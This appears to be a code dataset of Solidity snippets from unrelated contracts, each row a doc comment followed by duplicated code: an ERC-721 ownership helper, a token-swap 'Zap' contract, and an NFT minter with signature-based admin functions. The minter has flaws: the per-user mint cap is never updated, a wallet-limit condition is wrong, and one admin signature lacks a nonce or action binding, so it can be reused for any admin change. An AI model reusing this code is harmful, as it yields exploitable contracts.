return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalcbfs = totalSupply();
uint256 resultIndex = 0;
// We count on the fact that all cbfs have IDs starting at 1 and increasing
// sequentially up to the totalcbf count.
uint256 cbfId;
for (cbfId = 1; cbfId <= totalcbfs; cbfId++) {
if (CobeFriendIndexToOwner[cbfId] == _owner) {
result[resultIndex] = cbfId;
resultIndex++;
}
}
return result;
}
}
/// @dev Adapted from memcpy() by @arachnid (Nick Johnson <arachnid@notdot.net>)
/// This method is licenced under the Apache License.
/// Ref: https://github.com/Arachnid/solidity-stringutils/blob/2f6ca9accb48ae14c66f1437ec50ed19a0616f78/strings.sol
function _memcpy(uint _dest, uint _src, uint _len) private view {
// Copy word-length chunks while possible
for(; _len >= 32; _len -= 32) {
assembly {
mstore(_dest, mload(_src))
}
_dest += 32;
_src += 32;
}
// Copy remaining bytes
uint256 mask = 256 ** (32 - _len) - 1;
assembly {
let srcpart := and(mload(_src), not(mask))
let destpart := and(mload(_dest), mask)
mstore(_dest, or(destpart, srcpart))
}
}
/// @dev Adapted from toString(slice) by @arachnid (Nick Johnson <arachnid@notdot.net>)
/// This method is licenced under the Apache License.
/// Ref: https://github.com/Arachnid/solidity-stringutils/blob/2f6ca9accb48ae14c66f1437ec50ed19a0616f78/strings.sol
function _toString(bytes32[4] _rawBytes, uint256 _stringLength) private view returns (string) {
var outputString = new string(_stringLength);
uint256 outputPtr;
uint256 bytesPtr;
assembly {
outputPtr := add(outputString, 32)
bytesPtr := _rawBytes
}
_memcpy(outputPtr, bytesPtr, _stringLength);
return outputString;
}
/// @notice Returns a URI pointing to a metadata package for this token conforming to
/// ERC-721 (https://github.com/ethereum/EIPs/issues/721)
/// @param _tokenId The ID number of the CobeFriend whose metadata should be returned.
function tokenMetadata(uint256 _tokenId, string _preferredTransport) external view returns (string infoUrl) {
require(erc721Metadata != address(0));
bytes32[4] memory buffer;
uint256 count;
(buffer, count) = erc721Metadata.getMetadata(_tokenId, _preferredTransport);
return _toString(buffer, count);
}
}
| 56,150
|
15
|
// The Zap contract is an interface that allows other contracts to swap a token for another token without having to directly interact with verbose AMMs directly./It furthermore allows to zap to and from an LP pair within a single transaction./All though the underlying implementation is upgradeable, the Zap contract provides a safe wrapper that the implementation can never access approved funds.
|
contract Zap is Ownable, IZap {
using SafeERC20 for IERC20;
/// @dev The implementation that actually executes the swap orders
IZapHandler public implementation;
/// @dev Temporary variables that are set at the beginning of a swap and unset at the end of a swap.
/// @dev This is necessary because the contract employs a pull hook flow to reduce the impact of transfer-tax tokens.
/// @dev `from` and `remaining` have their zero variable moved to value 1, this is because EVMs charge a high cost for moving a variable away from zero.
/// @dev Internally, remaining will always be corrected with a -1 factor.
address public from = address(1);
IERC20 public pendingToken;
uint256 public remaining = 1;
event ImplementationChanged(IZapHandler indexed oldImplementation, IZapHandler indexed newImplementation);
constructor(address _owner) {
_transferOwnership(_owner);
}
/**
* @notice Swap `amount` of `fromToken` to `toToken` and send them to the `recipient`.
* @notice The `fromToken` and `toToken` arguments can be AMM pairs.
* @notice Reverts if the `recipient` received less tokens than `minReceived`.
* @notice Requires approval.
* @param fromToken The token to take from `msg.sender` and exchange for `toToken`.
* @param toToken The token that will be bought and sent to the `recipient`.
* @param recipient The destination address to receive the `toToken`.
* @param amount The amount that the zapper should take from the `msg.sender` and swap.
* @param minReceived The minimum amount of `toToken` the `recipient` should receive. Otherwise the transaction reverts.
*/
function swapERC20(IERC20 fromToken, IERC20 toToken, address recipient, uint256 amount, uint256 minReceived) external override returns (uint256 received) {
// Store transaction variables to be used by the implementation in the pullTo hooks.
from = msg.sender;
pendingToken = fromToken;
remaining = amount + 1;
uint256 beforeBal = toToken.balanceOf(recipient);
// Call the implementation to execute the swap.
implementation.convertERC20(fromToken, toToken, recipient, amount);
// Unset the temporary variables. pendingToken and remaining do not need to be unset.
from = address(1);
// Validate that sufficient tokens were received within the `to` address.
uint256 receivedTokens = toToken.balanceOf(recipient) - beforeBal;
require(receivedTokens >= minReceived, "!minimum not received");
return receivedTokens;
}
/**
* @notice Swap `amount` of `fromToken` to `toToken` and send them to the `msg.sender`.
* @notice The `fromToken` and `toToken` arguments can be AMM pairs.
* @notice Requires approval.
* @param fromToken The token to take from `msg.sender` and exchange for `toToken`.
* @param toToken The token that will be bought and sent to the `msg.sender`.
* @param amount The amount that the zapper should take from the `msg.sender` and swap.
*/
function swapERC20Fast(IERC20 fromToken, IERC20 toToken, uint256 amount) external override {
// Store transaction variables to be used by the implementation in the pullTo hooks.
from = msg.sender;
pendingToken = fromToken;
remaining = amount + 1;
// Call the implementation to execute the swap.
implementation.convertERC20(fromToken, toToken, msg.sender, amount);
// Unset the temporary variables. pendingToken and remaining do not need to be unset.
from = address(1);
}
/**
* @notice When the implementation calls pullTo while in a swap, the remaining tokens of the `swap` amount will be sent from the swap `msg.sender` to the `to` address chosen by the implementation.
* @notice This amount cannot exceed the amount set in the original swap transaction.
* @notice Traditionally these funds would just be transferred to the implementation which then forwards them to the pairs.
* @notice However, by using pull hooks, one avoids a transfer which is important for transfer-tax tokens.
* @dev Can only be called by the implementation.
* @param to The address to send all remaining tokens of the swap to. This is presumably the first AMM pair in the route.
*/
function pullTo(address to) external override {
require(msg.sender == address(implementation), "!implementation");
uint256 amount = remaining - 1;
remaining = 1;
pendingToken.safeTransferFrom(from, to, amount);
}
/**
* @notice When the implementation calls pullAmountTo while in a swap, `amount` tokens of the `swap` amount will be sent from the swap`msg.sender` to the `to` address chosen by the implementation.
* @notice This amount cannot exceed the amount set in the original swap transaction.
* @notice Traditionally these funds would just be transferred to the implementation which then forwards them to the pairs.
* @notice However, by using pull hooks, one avoids a transfer which is important for transfer-tax tokens.
* @dev Can only be called by the implementation.
* @param to The address to send `amount` tokens of the swap to. This is presumably the first AMM pair in the route.
* @param amount The amount of tokens to send to the `to` address, cannot exceed the remaining amount indicated by the swap `amount` parameter.
*/
function pullAmountTo(address to, uint256 amount) external override {
require(msg.sender == address(implementation), "!implementation");
require(remaining >= amount + 1, "!overdraft");
unchecked {
remaining -= amount; // Safeguard that the implementation cannot overdraft
}
pendingToken.safeTransferFrom(from, to, amount);
}
/**
* @notice Sets the underlying implementation that fulfills the swap orders.
* @dev Can only be called by the contract owner.
* @param _implementation The new implementation.
*/
function setImplementation(IZapHandler _implementation) external override onlyOwner {
IZapHandler oldImplementation = implementation;
implementation = _implementation;
emit ImplementationChanged(oldImplementation, _implementation);
}
}
|
contract Zap is Ownable, IZap {
using SafeERC20 for IERC20;
/// @dev The implementation that actually executes the swap orders
IZapHandler public implementation;
/// @dev Temporary variables that are set at the beginning of a swap and unset at the end of a swap.
/// @dev This is necessary because the contract employs a pull hook flow to reduce the impact of transfer-tax tokens.
/// @dev `from` and `remaining` have their zero variable moved to value 1, this is because EVMs charge a high cost for moving a variable away from zero.
/// @dev Internally, remaining will always be corrected with a -1 factor.
address public from = address(1);
IERC20 public pendingToken;
uint256 public remaining = 1;
event ImplementationChanged(IZapHandler indexed oldImplementation, IZapHandler indexed newImplementation);
constructor(address _owner) {
_transferOwnership(_owner);
}
/**
* @notice Swap `amount` of `fromToken` to `toToken` and send them to the `recipient`.
* @notice The `fromToken` and `toToken` arguments can be AMM pairs.
* @notice Reverts if the `recipient` received less tokens than `minReceived`.
* @notice Requires approval.
* @param fromToken The token to take from `msg.sender` and exchange for `toToken`.
* @param toToken The token that will be bought and sent to the `recipient`.
* @param recipient The destination address to receive the `toToken`.
* @param amount The amount that the zapper should take from the `msg.sender` and swap.
* @param minReceived The minimum amount of `toToken` the `recipient` should receive. Otherwise the transaction reverts.
*/
function swapERC20(IERC20 fromToken, IERC20 toToken, address recipient, uint256 amount, uint256 minReceived) external override returns (uint256 received) {
// Store transaction variables to be used by the implementation in the pullTo hooks.
from = msg.sender;
pendingToken = fromToken;
remaining = amount + 1;
uint256 beforeBal = toToken.balanceOf(recipient);
// Call the implementation to execute the swap.
implementation.convertERC20(fromToken, toToken, recipient, amount);
// Unset the temporary variables. pendingToken and remaining do not need to be unset.
from = address(1);
// Validate that sufficient tokens were received within the `to` address.
uint256 receivedTokens = toToken.balanceOf(recipient) - beforeBal;
require(receivedTokens >= minReceived, "!minimum not received");
return receivedTokens;
}
/**
* @notice Swap `amount` of `fromToken` to `toToken` and send them to the `msg.sender`.
* @notice The `fromToken` and `toToken` arguments can be AMM pairs.
* @notice Requires approval.
* @param fromToken The token to take from `msg.sender` and exchange for `toToken`.
* @param toToken The token that will be bought and sent to the `msg.sender`.
* @param amount The amount that the zapper should take from the `msg.sender` and swap.
*/
function swapERC20Fast(IERC20 fromToken, IERC20 toToken, uint256 amount) external override {
// Store transaction variables to be used by the implementation in the pullTo hooks.
from = msg.sender;
pendingToken = fromToken;
remaining = amount + 1;
// Call the implementation to execute the swap.
implementation.convertERC20(fromToken, toToken, msg.sender, amount);
// Unset the temporary variables. pendingToken and remaining do not need to be unset.
from = address(1);
}
/**
* @notice When the implementation calls pullTo while in a swap, the remaining tokens of the `swap` amount will be sent from the swap `msg.sender` to the `to` address chosen by the implementation.
* @notice This amount cannot exceed the amount set in the original swap transaction.
* @notice Traditionally these funds would just be transferred to the implementation which then forwards them to the pairs.
* @notice However, by using pull hooks, one avoids a transfer which is important for transfer-tax tokens.
* @dev Can only be called by the implementation.
* @param to The address to send all remaining tokens of the swap to. This is presumably the first AMM pair in the route.
*/
function pullTo(address to) external override {
require(msg.sender == address(implementation), "!implementation");
uint256 amount = remaining - 1;
remaining = 1;
pendingToken.safeTransferFrom(from, to, amount);
}
/**
* @notice When the implementation calls pullAmountTo while in a swap, `amount` tokens of the `swap` amount will be sent from the swap`msg.sender` to the `to` address chosen by the implementation.
* @notice This amount cannot exceed the amount set in the original swap transaction.
* @notice Traditionally these funds would just be transferred to the implementation which then forwards them to the pairs.
* @notice However, by using pull hooks, one avoids a transfer which is important for transfer-tax tokens.
* @dev Can only be called by the implementation.
* @param to The address to send `amount` tokens of the swap to. This is presumably the first AMM pair in the route.
* @param amount The amount of tokens to send to the `to` address, cannot exceed the remaining amount indicated by the swap `amount` parameter.
*/
function pullAmountTo(address to, uint256 amount) external override {
require(msg.sender == address(implementation), "!implementation");
require(remaining >= amount + 1, "!overdraft");
unchecked {
remaining -= amount; // Safeguard that the implementation cannot overdraft
}
pendingToken.safeTransferFrom(from, to, amount);
}
/**
* @notice Sets the underlying implementation that fulfills the swap orders.
* @dev Can only be called by the contract owner.
* @param _implementation The new implementation.
*/
function setImplementation(IZapHandler _implementation) external override onlyOwner {
IZapHandler oldImplementation = implementation;
implementation = _implementation;
emit ImplementationChanged(oldImplementation, _implementation);
}
}
| 27,191
|
45
|
// ERC165
|
bytes4 constant private INTERFACE_SIGNATURE_ERC165 = 0x01ffc9a7;
bytes4 constant private INTERFACE_SIGNATURE_ERC721 = 0x80ac58cd;
bytes4 constant private INTERFACE_SIGNATURE_ERC721METADATA = 0x5b5e139f;
bytes4 constant private INTERFACE_SIGNATURE_ERC721ENUMERABLE = 0x780e9d63;
|
bytes4 constant private INTERFACE_SIGNATURE_ERC165 = 0x01ffc9a7;
bytes4 constant private INTERFACE_SIGNATURE_ERC721 = 0x80ac58cd;
bytes4 constant private INTERFACE_SIGNATURE_ERC721METADATA = 0x5b5e139f;
bytes4 constant private INTERFACE_SIGNATURE_ERC721ENUMERABLE = 0x780e9d63;
| 62,161
|
555
|
// 10 byte logical shift left to remove the nonce, followed by a 2 byte mask to remove the address.
|
uint256 value = uint256(poolId >> (10 * 8)) & (2**(2 * 8) - 1);
|
uint256 value = uint256(poolId >> (10 * 8)) & (2**(2 * 8) - 1);
| 32,416
|
4
|
// token pool fields
|
GeyserPool private immutable _stakingPool;
GeyserPool private immutable _unlockedPool;
GeyserPool private immutable _lockedPool;
Funding[] public fundings;
|
GeyserPool private immutable _stakingPool;
GeyserPool private immutable _unlockedPool;
GeyserPool private immutable _lockedPool;
Funding[] public fundings;
| 46,762
|
106
|
// We inherit the ERC721AQueryable & ReentrancyGuard contracts
|
contract OptimizedMinterAdvancedAuth is ERC721AQueryable, ReentrancyGuard {
//Stores the address of the admin
//This variable is private because it is not needed to be retreived outside this contract
address private admin;
//Stores the prices in wei
//These variables are public because they will need to be retreived outside this contract
uint256 public normalPrice;
uint256 public whitelistPrice;
//Stores the max amount of tokens that can be minted for each mint
//These variables are private because they do not needed to be retreived outside this contract
uint16 private whitelistLimit;
uint16 private totalLimit;
//The root hash of our Merkle Tree
//This variable is private because it is not needed to be retreived outside this contract
bytes32 private merkleRoot;
//Stores whether the whitelist mint is active or not
//This variable is private because it is not needed to be retreived outside this contract
bool private whitelistActive;
//Stores the amount a given user has minted
mapping(address => uint8) private numMintedByUser;
//Stores a string of the base URI
//This variable is private because it is not needed to be retreived outside this contract directly
string private baseURI;
//Stores whether minting is paused
//This variable is public because it will need to be retreived outside this contract
bool public paused;
//Stores the amount that the admin has minted
//This variable is private because it is not neeeded to be reteived outside of this contract
uint16 private adminMintCount;
//Stores whether a address is approved to mint more than the limit
//This variable is private because it is not neeeded to be reteived outside of this contract
mapping(address => bool) private approvedWallets;
//Params
//normPrice => The normal price that a NFT should be minted at
//wlPrice => The whitelist price that a whitelist NFT should be minted at
//name => The name that will show for the collection on etherscan & opensea e.g Bitcoin
//symbol => The symbol that will be shown on etherscan & in wallet e.g BTC
//initBaseURI => The initial base URI that should look something like
//https://gateway.pinata.cloud/ipfs/{CID} if using pinata
//https://ipfs.io/ipfs/{CID} if using IPFS
//ERC721A(name,symbol) => This is us defining the construction of the ERC721A contract & passing in it's required parameters
constructor(
uint256 normPrice,
uint256 wlPrice,
string memory name,
string memory symbol,
string memory initBaseURI,
address development
) ERC721A(name, symbol) {
//Setting whitelist to active
whitelistActive = true;
//Setting the limit of mints for whitelist minting
whitelistLimit = 3333; //3333 is the amount for mainnet
//Setting the total limit of mints
totalLimit = 9999; //9999 is the amount for mainnet
//Setting the price to mint a whitelist NFT
whitelistPrice = wlPrice;
//Setting the price to mint a full price NFT
normalPrice = normPrice;
//Setting the admin to the deployer of the contract
admin = msg.sender;
//Setting the baseURI
baseURI = initBaseURI;
//Minting 50 NFTs to the development team
_safeMint(development, 50);
//Set the admins mint count to 50
adminMintCount = 50;
//Set paused to true
paused = true;
}
//Modifiers are repeatable pieces of code that can be attached to multiple functions
//This modifier is to check is a caller is the admin of the contract
modifier onlyAdmin() {
//Check that the caller of the function is the admin
require(msg.sender == admin, "ERR:NA"); //NA => Not Admin
//This is here to signify that we want the above piece of code to run before the code in the function this modifier
//is attached to
_;
}
//This modifier is to check that minting is not paused
modifier notPaused() {
//Check that the the contract is not paused
require(!paused, "ERR:CP"); //CP => Currently Paused
_;
}
//This modifier is to verify a signature & hashed message
//_hashedMessage => keccak256(message)
//_v, _r & _s are seperate parts of the signature
modifier onlyApproved(
bytes32 _hashedMessage,
uint8 _v,
bytes32 _r,
bytes32 _s
) {
//Check that the parameters verify successfully
require(VerifyMessage(_hashedMessage, _v, _r, _s), "ERR:NA"); //Na => Not Approved
_;
}
//--------------Only the Admin of this contract can call the functions below ------------//
//Change the admin on this contract
function changeAdmin(address _new) external onlyAdmin {
//Set the new admin
admin = _new;
}
//Give up admin control over the minter
function relinquishControl() external onlyAdmin {
require(totalSupply() == 9999, "ERR:NR"); //NR => Not Ready
delete admin;
}
//Change the merkle root in this contract
function setMerkleRoot(bytes32 root) external onlyAdmin {
//Set the new merkleRoot
merkleRoot = root;
}
//Enable the normal mint
function startNormalMint() external onlyAdmin {
//Set the whitelistActive variable to false
whitelistActive = false;
}
//Change the Base URI
function setBaseURI(string memory base) external onlyAdmin {
//Set the Base URI
baseURI = base;
}
//Change the pause variable
function pause(bool state) external onlyAdmin {
//Set the new state of the paused variable
paused = state;
}
//Add a wallet to the approved wallets list
function addWallet(address _new) external onlyAdmin {
approvedWallets[_new] = true;
}
//Remove a wallet from the approved wallets list
//Here we delete the variable being stored which refunds gas
function removeWallet(address _toRemove) external onlyAdmin {
delete approvedWallets[_toRemove];
}
//--------------OnlyAdmin can call the above functions ------------//
//--------------Only addresses calling with a signed message from the Admin can call the functions below ------------//
//This function is called to change the admin of the contract with signed permission to do so
//Params
//_new => The address to be set as the admin
//_hashedMessage => A message that has been passed through the keccak256 algorithm
//_v, _r & _s are pieces of the signature
//onlyApproved(_hashedMessage, _v, _r, _s) => Calling of the modifier to verify the signature & message
function changeAdminWithPermission(
address _new,
bytes32 _hashedMessage,
uint8 _v,
bytes32 _r,
bytes32 _s
) external onlyApproved(_hashedMessage, _v, _r, _s) {
//Set the new admin
admin = _new;
}
//This function is called to change the merkle root used to verify if an address is whitelisted
//Params
//root => The new merkle root to be set
//_hashedMessage => A message that has been passed through the keccak256 algorithm
//_v, _r & _s are pieces of the signature
//onlyApproved(_hashedMessage, _v, _r, _s) => Calling of the modifier to verify the signature & message
function setMerkleRootWithPermission(
bytes32 root,
bytes32 _hashedMessage,
uint8 _v,
bytes32 _r,
bytes32 _s
) external onlyApproved(_hashedMessage, _v, _r, _s) {
//Set the new merkle root
merkleRoot = root;
}
//This function is called to start the normal mint
//_hashedMessage => A message that has been passed through the keccak256 algorithm
//_v, _r & _s are pieces of the signature
//onlyApproved(_hashedMessage, _v, _r, _s) => Calling of the modifier to verify the signature & message
function startNormalMintWithPermission(
bytes32 _hashedMessage,
uint8 _v,
bytes32 _r,
bytes32 _s
) external onlyApproved(_hashedMessage, _v, _r, _s) {
//Set the whitelistActive bool to false
whitelistActive = false;
}
//This function is called to change the Base URI in this contract
//Params
//base => The new baseURI to be set
//_hashedMessage => A message that has been passed through the keccak256 algorithm
//_v, _r & _s are pieces of the signature
//onlyApproved(_hashedMessage, _v, _r, _s) => Calling of the modifier to verify the signature & message
function setBaseURIWithPermission(
string memory base,
bytes32 _hashedMessage,
uint8 _v,
bytes32 _r,
bytes32 _s
) external onlyApproved(_hashedMessage, _v, _r, _s) {
//Set the new BaseURI
baseURI = base;
}
//This function is called to pause the minting on the contract
//Params
//state => The new state of the paused bool
//_hashedMessage => A message that has been passed through the keccak256 algorithm
//_v, _r & _s are pieces of the signature
//onlyApproved(_hashedMessage, _v, _r, _s) => Calling of the modifier to verify the signature & message
function pauseWithPermission(
bool state,
bytes32 _hashedMessage,
uint8 _v,
bytes32 _r,
bytes32 _s
) external onlyApproved(_hashedMessage, _v, _r, _s) {
paused = state;
}
//--------------Only addresses calling with a signed message from the Admin can call the functions above ------------//
//This function is called internally
//This function is called to verify if a signature was used to sign a given message
//Params
//_hashedMessage => A message that has been passed through the keccak256 algorithm
//_v, _r & _s are pieces of the signature
//returns(bool) => Returns true or false whether the signature is verified or not
function VerifyMessage(
bytes32 _hashedMessage,
uint8 _v,
bytes32 _r,
bytes32 _s
) internal view returns (bool) {
//Check that the message does equal the keccak256 hash of the msg.senders address
require(_hashedMessage == keccak256(abi.encode(msg.sender)), "ERR:WM"); // WM -> Wrong Message
//Define a string to be prefixed to the hashed message
bytes memory prefix = "\x19Ethereum Signed Message:\n32";
//Combine the prefix & hashedMessage
bytes32 prefixedHashMessage = keccak256(
abi.encodePacked(prefix, _hashedMessage)
);
//Retrieve the signing address of the message
address signer = ecrecover(prefixedHashMessage, _v, _r, _s);
//Require that the signer is the admin of the contract, return bool accordingly
return (signer == admin) ? true : false;
}
//This function is called to check that a merkle proof is a valid merkle proof
//Param: _merkleProof => An array of bytes32 that represent the "proof" that the address is on the merkle tree
//returns(bool) => The bool saying whether the proof is verified or not
function checkValidity(bytes32[] calldata _merkleProof)
public
view
returns (bool)
{
//Generate the leaf that would be on the merkle tree
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
//Check that the return of calling the MerkleProof libraries verify function with the given paramaters returns true
require(
MerkleProof.verify(_merkleProof, merkleRoot, leaf),
"ERR:IP" // IP -> incorrect proof
);
//Return true
return true;
}
//This function is called to mint a whitelist NFT for whitelist Price
//Params
//amount => The amount of NFTs to be minted
//_merkleProof => An array of bytes2 that represents the "proof" that the address is on the merkletree
//Ether will be sent with this function call so it is marked payable
//nonReentrant => This function can not be accessed multiple times in a single transaction
//notPaused => This function can only be called when minting is not paused
function whitelistMint(uint8 amount, bytes32[] calldata _merkleProof)
external
payable
nonReentrant
notPaused
{
//If the msg.sender is not the admin or an approved wallet
if (msg.sender != admin || approvedWallets[msg.sender]) {
//Check that the amount is notlarger than 3
require(amount <= 3, "ERR:SA"); //SA -> Sent Amount
//Check that the msg.sender is not trying to mint more than 9 NFTs total
require(numMintedByUser[msg.sender] + amount <= 9, "ERR:MA"); //MA -> mint amount
}
//Check if the whitelist minting is currently active
require(whitelistActive, "ERR:NA"); //NA => Not Active
//Check the validity of the proof
require(checkValidity(_merkleProof), "ERR:WP"); //WL -> whitelist proof
//Check that the amount + totalSupply is not larger than the whitelist Limit - 3333
require(amount + totalSupply() <= whitelistLimit, "ERR:WL"); //WL -> whitelist limit
//If the caller is not the admin
if (msg.sender != admin) {
//Calculate the total cost
uint256 amountDue = amount * whitelistPrice;
//Check that the value sent is exactly the amount * whitelist price
require(msg.value == amountDue, "ERR:WF"); //WF -> Wrong Funds
//Send the funds to admin wallet
(bool success, ) = admin.call{value: amountDue}("");
//Check that the funds were transferred correctly
require(success, "ERR:PA"); // PA -> Paying Admin
} else {
//If the caller is the admin
//Check that the total amount of mints the admin has made plus the amount
//requested to be minted is less than or equal to 1111
require(adminMintCount + amount <= 1111, "ERR:AM"); //AM => admin Minting
//Increase the amount that the admin has minted by amount
adminMintCount += amount;
}
//Mint the amount of NFTs to the caller
_safeMint(msg.sender, uint256(amount));
}
function mint(uint8 amount) external payable nonReentrant notPaused {
//If the msg.sender is not the admin or an approved wallet
if (msg.sender != admin || approvedWallets[msg.sender]) {
//Check that the amount is notlarger than 3
require(amount <= 3, "ERR:SA"); //SA -> Sent Amount
//Check that the msg.sender is not trying to mint more than 9 NFTs total
require(numMintedByUser[msg.sender] + amount <= 9, "ERR:MA"); //MA -> mint amount
}
//Check that the whitelist is not active
require(!whitelistActive, "ERR:WA"); //WA => Whitelist Active
//Check that the totalSupply + amount does not exceed the total mint limit
require(amount + totalSupply() <= totalLimit, "ERR:TL"); //TL - total limit
//If the caller is not the admin
if (msg.sender != admin) {
//Calculate the total cost
uint256 amountDue = amount * normalPrice;
//Check that the value sent is exactly the amount * normal price
require(msg.value == amountDue, "ERR:NF"); //NF -> not enough funds
//Send funds to admin wallet
(bool success, ) = admin.call{value: amountDue}("");
//Check that the funds were transferred correctly
require(success, "ERR:PA"); // PA -> Paying Admin
} else {
//If the caller is the admin
//Check that the total amount of mints the admin has made plus the amount
//requested to be minted is less than or equal to 1111
require(adminMintCount + amount <= 1111, "ERR:AM"); //AM => admin Minting
//Increase the amount that the admin has minted by amount
adminMintCount += amount;
}
//Mint the amount for the caller
_safeMint(msg.sender, uint256(amount));
}
//This function is a function in the ERC721A inherited contract
//We override it so we can set a custom variable
function _baseURI() internal view virtual override returns (string memory) {
return baseURI; //put baseURI in here
}
}
|
contract OptimizedMinterAdvancedAuth is ERC721AQueryable, ReentrancyGuard {
//Stores the address of the admin
//This variable is private because it is not needed to be retreived outside this contract
address private admin;
//Stores the prices in wei
//These variables are public because they will need to be retreived outside this contract
uint256 public normalPrice;
uint256 public whitelistPrice;
//Stores the max amount of tokens that can be minted for each mint
//These variables are private because they do not needed to be retreived outside this contract
uint16 private whitelistLimit;
uint16 private totalLimit;
//The root hash of our Merkle Tree
//This variable is private because it is not needed to be retreived outside this contract
bytes32 private merkleRoot;
//Stores whether the whitelist mint is active or not
//This variable is private because it is not needed to be retreived outside this contract
bool private whitelistActive;
//Stores the amount a given user has minted
mapping(address => uint8) private numMintedByUser;
//Stores a string of the base URI
//This variable is private because it is not needed to be retreived outside this contract directly
string private baseURI;
//Stores whether minting is paused
//This variable is public because it will need to be retreived outside this contract
bool public paused;
//Stores the amount that the admin has minted
//This variable is private because it is not neeeded to be reteived outside of this contract
uint16 private adminMintCount;
//Stores whether a address is approved to mint more than the limit
//This variable is private because it is not neeeded to be reteived outside of this contract
mapping(address => bool) private approvedWallets;
//Params
//normPrice => The normal price that a NFT should be minted at
//wlPrice => The whitelist price that a whitelist NFT should be minted at
//name => The name that will show for the collection on etherscan & opensea e.g Bitcoin
//symbol => The symbol that will be shown on etherscan & in wallet e.g BTC
//initBaseURI => The initial base URI that should look something like
//https://gateway.pinata.cloud/ipfs/{CID} if using pinata
//https://ipfs.io/ipfs/{CID} if using IPFS
//ERC721A(name,symbol) => This is us defining the construction of the ERC721A contract & passing in it's required parameters
constructor(
uint256 normPrice,
uint256 wlPrice,
string memory name,
string memory symbol,
string memory initBaseURI,
address development
) ERC721A(name, symbol) {
//Setting whitelist to active
whitelistActive = true;
//Setting the limit of mints for whitelist minting
whitelistLimit = 3333; //3333 is the amount for mainnet
//Setting the total limit of mints
totalLimit = 9999; //9999 is the amount for mainnet
//Setting the price to mint a whitelist NFT
whitelistPrice = wlPrice;
//Setting the price to mint a full price NFT
normalPrice = normPrice;
//Setting the admin to the deployer of the contract
admin = msg.sender;
//Setting the baseURI
baseURI = initBaseURI;
//Minting 50 NFTs to the development team
_safeMint(development, 50);
//Set the admins mint count to 50
adminMintCount = 50;
//Set paused to true
paused = true;
}
//Modifiers are repeatable pieces of code that can be attached to multiple functions
//This modifier is to check is a caller is the admin of the contract
modifier onlyAdmin() {
//Check that the caller of the function is the admin
require(msg.sender == admin, "ERR:NA"); //NA => Not Admin
//This is here to signify that we want the above piece of code to run before the code in the function this modifier
//is attached to
_;
}
//This modifier is to check that minting is not paused
modifier notPaused() {
//Check that the the contract is not paused
require(!paused, "ERR:CP"); //CP => Currently Paused
_;
}
//This modifier is to verify a signature & hashed message
//_hashedMessage => keccak256(message)
//_v, _r & _s are seperate parts of the signature
modifier onlyApproved(
bytes32 _hashedMessage,
uint8 _v,
bytes32 _r,
bytes32 _s
) {
//Check that the parameters verify successfully
require(VerifyMessage(_hashedMessage, _v, _r, _s), "ERR:NA"); //Na => Not Approved
_;
}
//--------------Only the Admin of this contract can call the functions below ------------//
//Change the admin on this contract
function changeAdmin(address _new) external onlyAdmin {
//Set the new admin
admin = _new;
}
//Give up admin control over the minter
function relinquishControl() external onlyAdmin {
require(totalSupply() == 9999, "ERR:NR"); //NR => Not Ready
delete admin;
}
//Change the merkle root in this contract
function setMerkleRoot(bytes32 root) external onlyAdmin {
//Set the new merkleRoot
merkleRoot = root;
}
//Enable the normal mint
function startNormalMint() external onlyAdmin {
//Set the whitelistActive variable to false
whitelistActive = false;
}
//Change the Base URI
function setBaseURI(string memory base) external onlyAdmin {
//Set the Base URI
baseURI = base;
}
//Change the pause variable
function pause(bool state) external onlyAdmin {
//Set the new state of the paused variable
paused = state;
}
//Add a wallet to the approved wallets list
function addWallet(address _new) external onlyAdmin {
approvedWallets[_new] = true;
}
//Remove a wallet from the approved wallets list
//Here we delete the variable being stored which refunds gas
function removeWallet(address _toRemove) external onlyAdmin {
delete approvedWallets[_toRemove];
}
//--------------OnlyAdmin can call the above functions ------------//
//--------------Only addresses calling with a signed message from the Admin can call the functions below ------------//
//This function is called to change the admin of the contract with signed permission to do so
//Params
//_new => The address to be set as the admin
//_hashedMessage => A message that has been passed through the keccak256 algorithm
//_v, _r & _s are pieces of the signature
//onlyApproved(_hashedMessage, _v, _r, _s) => Calling of the modifier to verify the signature & message
function changeAdminWithPermission(
address _new,
bytes32 _hashedMessage,
uint8 _v,
bytes32 _r,
bytes32 _s
) external onlyApproved(_hashedMessage, _v, _r, _s) {
//Set the new admin
admin = _new;
}
//This function is called to change the merkle root used to verify if an address is whitelisted
//Params
//root => The new merkle root to be set
//_hashedMessage => A message that has been passed through the keccak256 algorithm
//_v, _r & _s are pieces of the signature
//onlyApproved(_hashedMessage, _v, _r, _s) => Calling of the modifier to verify the signature & message
function setMerkleRootWithPermission(
bytes32 root,
bytes32 _hashedMessage,
uint8 _v,
bytes32 _r,
bytes32 _s
) external onlyApproved(_hashedMessage, _v, _r, _s) {
//Set the new merkle root
merkleRoot = root;
}
//This function is called to start the normal mint
//_hashedMessage => A message that has been passed through the keccak256 algorithm
//_v, _r & _s are pieces of the signature
//onlyApproved(_hashedMessage, _v, _r, _s) => Calling of the modifier to verify the signature & message
function startNormalMintWithPermission(
bytes32 _hashedMessage,
uint8 _v,
bytes32 _r,
bytes32 _s
) external onlyApproved(_hashedMessage, _v, _r, _s) {
//Set the whitelistActive bool to false
whitelistActive = false;
}
//This function is called to change the Base URI in this contract
//Params
//base => The new baseURI to be set
//_hashedMessage => A message that has been passed through the keccak256 algorithm
//_v, _r & _s are pieces of the signature
//onlyApproved(_hashedMessage, _v, _r, _s) => Calling of the modifier to verify the signature & message
function setBaseURIWithPermission(
string memory base,
bytes32 _hashedMessage,
uint8 _v,
bytes32 _r,
bytes32 _s
) external onlyApproved(_hashedMessage, _v, _r, _s) {
//Set the new BaseURI
baseURI = base;
}
//This function is called to pause the minting on the contract
//Params
//state => The new state of the paused bool
//_hashedMessage => A message that has been passed through the keccak256 algorithm
//_v, _r & _s are pieces of the signature
//onlyApproved(_hashedMessage, _v, _r, _s) => Calling of the modifier to verify the signature & message
function pauseWithPermission(
bool state,
bytes32 _hashedMessage,
uint8 _v,
bytes32 _r,
bytes32 _s
) external onlyApproved(_hashedMessage, _v, _r, _s) {
paused = state;
}
//--------------Only addresses calling with a signed message from the Admin can call the functions above ------------//
//This function is called internally
//This function is called to verify if a signature was used to sign a given message
//Params
//_hashedMessage => A message that has been passed through the keccak256 algorithm
//_v, _r & _s are pieces of the signature
//returns(bool) => Returns true or false whether the signature is verified or not
function VerifyMessage(
bytes32 _hashedMessage,
uint8 _v,
bytes32 _r,
bytes32 _s
) internal view returns (bool) {
